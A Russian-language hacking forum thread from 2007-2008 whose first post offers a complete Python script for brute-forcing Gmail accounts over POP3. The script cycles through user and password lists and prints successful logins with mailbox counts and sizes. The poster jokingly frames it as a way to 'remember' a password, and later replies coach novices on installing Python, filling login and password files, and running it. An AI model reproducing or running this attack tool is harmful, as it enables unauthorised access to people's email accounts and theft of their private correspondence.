Gmail Brute Force (py)

Discussion in 'Уязвимости Mail-сервисов' started by Elvis000, 26 Nov 2007.

  1. Elvis000

    Elvis000 Патриот

    Joined:
    23 Apr 2007
    Messages:
    600
    Likes Received:
    339
    Reputations:
    148
    Gmail Pop3 Brute Forcer может поможет кому нибудь "вспомнить" пароль. Написан на питоне.

    (С) 3hydr8

    Code:
    #!usr/bin/python
    
    #Gmail Pop3 Brute Forcer
    
    #http://darkcode.ath.cx
    #d3hydr8[at]gmail[dot]com
    
    import threading, time, random, sys, poplib
    from copy import copy
    
    if len(sys.argv) !=3:
        print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
        print "\t   --------------------------------------------------\n"
        print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
        sys.exit(1)
        
    server = "pop.gmail.com"
    success = []
    
    try:
          users = open(sys.argv[1], "r").readlines()
    except(IOError): 
          print "[-] Error: Check your userlist path\n"
          sys.exit(1)
      
    try:
          words = open(sys.argv[2], "r").readlines()
    except(IOError): 
          print "[-] Error: Check your wordlist path\n"
          sys.exit(1)
        
    try:
        pop = poplib.POP3_SSL(server, 995)
        welcome = pop.getwelcome()
        pop.quit()
    except (poplib.error_proto): 
        welcome = "No Response"
        pass
    
    print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
    print "\t   --------------------------------------------------\n"
    print "[+] Server:",server
    print "[+] Port: 995"
    print "[+] Users Loaded:",len(users)
    print "[+] Words Loaded:",len(words)
    print "[+] Server response:",welcome,"\n"
    
    wordlist = copy(words)
    
    def reloader():
        for word in wordlist:
            words.append(word)
    
    def getword():
        lock = threading.Lock()
        lock.acquire()
        if len(words) != 0:
            value = random.sample(words,  1)
            words.remove(value[0])    
        else:
            print "\n[-] Reloading Wordlist - Changing User\n"
            reloader()
            value = random.sample(words,  1)
            users.remove(users[0])
            
        lock.release()
        if len(users) ==1:
            return value[0][:-1], users[0]
        else:
            return value[0][:-1], users[0][:-1]
            
    class Worker(threading.Thread):
        
        def run(self):
            value, user = getword()
            
            try:
                print "-"*30
                print "[+] User:",user,"Password:",value
                pop = poplib.POP3_SSL(server, 995)
                pop.user(user)
                pop.pass_(value)
                print "\t\t\n\nLogin successful:",user, value
                print "\t\tMail:",pop.stat()[0],"emails"
                print "\t\tSize:",pop.stat()[1],"bytes\n\n"
                success.append(user)
                success.append(value)
                success.append(pop.stat()[0])
                success.append(pop.stat()[1])
                pop.quit()
            except (poplib.error_proto), msg: 
                #print "An error occurred:", msg
                pass
    
    for i in range(len(words)*len(users)):
        work = Worker()
        work.start()
        time.sleep(1)
    if len(success) >=1:
        print "\n\n[+] Login successful:",success[0], success[1]
        print "\t[+] Mail:",success[2],"emails"
        print "\t[+] Size:",success[3],"bytes\n"
    print "\n[-] Done\n"
     
    2 people like this.
  2. WhiteSlate

    WhiteSlate Elder - Старейшина

    Joined:
    9 Jan 2008
    Messages:
    0
    Likes Received:
    18
    Reputations:
    1
    gmail.ru - шняга ( извеняюсь за вырожение ), зря старался мне кажется, им пользуются очень мало мэмберов, ИМХО!
    Это не в обиду, просто моё мнение.
     
  3. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    WhiteSlate, причем здесь gmail.ru?
    это брут gmail.com и старался не он.
     
    _________________________
  4. Soviet[HZ]

    Soviet[HZ] Elder - Старейшина

    Joined:
    20 Jul 2007
    Messages:
    87
    Likes Received:
    40
    Reputations:
    22
    ТС просто в названии топика зачем то "ру" прилепил.
     
  5. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    py - python!
     
  6. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    и еще ... gmail лучший майл сервис, хотя бы за ssl... +плюс прикольные фишки )
     
  7. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    ртуть, не не ))) он говорит все верно, gmail.com - гугловский почтовик, gmail.ru - шняга редкостная )
     
  8. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    ты не всосал... я про gmail.com и говорю!
     
    1 person likes this.
  9. Soviet[HZ]

    Soviet[HZ] Elder - Старейшина

    Joined:
    20 Jul 2007
    Messages:
    87
    Likes Received:
    40
    Reputations:
    22
    Может кому то из за этого легче станет)))
    Про gmail.com не было в этом топике ниодного отрицательного отзыва.
     
  10. GeeZeR

    GeeZeR New Member

    Joined:
    15 Dec 2006
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Граждане, я дико извиняюсь, и куды ж яго сувать этот скрипт?
     
  11. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Сохраняешь в текстовый файл, с расширением *py. интерпретатором, или на хосте, поддерживающем питон
     
  12. GeeZeR

    GeeZeR New Member

    Joined:
    15 Dec 2006
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    А к примеру посоветуете ли какой интерпретатор для винды или можно из него экзешник сделать и с домашнего компа шмалять?
     
    1 person likes this.
  13. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    http://www.python.ru/implementation/
     
  14. FruityLoops

    FruityLoops New Member

    Joined:
    30 Oct 2007
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    При запуске выдает такую ошибку(
    Code:
    File "C:\gmailpopbrute.py", line 11
        print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
                                                                       ^
    SyntaxError: invalid syntax
     
  15. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    Эспешал фо ю
    для виндавса качаешь интерпретатор с
    http://www.python.org/ftp/python/2.5.2/python-2.5.2.msi - инсталишь по дефолтному пути, скриптец сохраняешь в brut_gmail.py файлике и кладёшь в папку C:\Python25, дальше создаёшь 2 тхт файлтка login.txt и pass.txt, в ник кладёшь логины и пасы, дальше вызываешь cmd.exe и тулишь туда вот такие вот слова :)
    C:\Python25>brut_gmail.py login.txt pass.txt

    и будет тибе щасьте
     
    1 person likes this.
  16. kung lao

    kung lao New Member

    Joined:
    27 Jan 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    File "<stdin>", line 1
    C:\Python25>brut_gmail.py login.txt pass.txt
    ^
    SyntaxError: invalid syntax
    >>>

    вот такая байда :(
     
  17. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    bomb@bomb-desktop:~$ python g.py

    d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0
    --------------------------------------------------

    Usage: ./gmailpopbrute.py <userlist> <wordlist>
     
    #17 GreenBear, 22 Apr 2008
    Last edited by a moderator: 13 May 2008
  18. kung lao

    kung lao New Member

    Joined:
    27 Jan 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    в папке нет cmd.exe, есть python.exe, но когда вписываю туда C:\Python25>brut_gmail.py login.txt pass.txt, то выдает собщение, которое в предыдущем посте
    хелп
     
  19. Elvis000

    Elvis000 Патриот

    Joined:
    23 Apr 2007
    Messages:
    600
    Likes Received:
    339
    Reputations:
    148
    Пуск -> все программы -> стандартные -> командная строка
     
  20. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    424
    Likes Received:
    296
    Reputations:
    92

    о боже куда катиться мир, всех надо отправить читать маны винды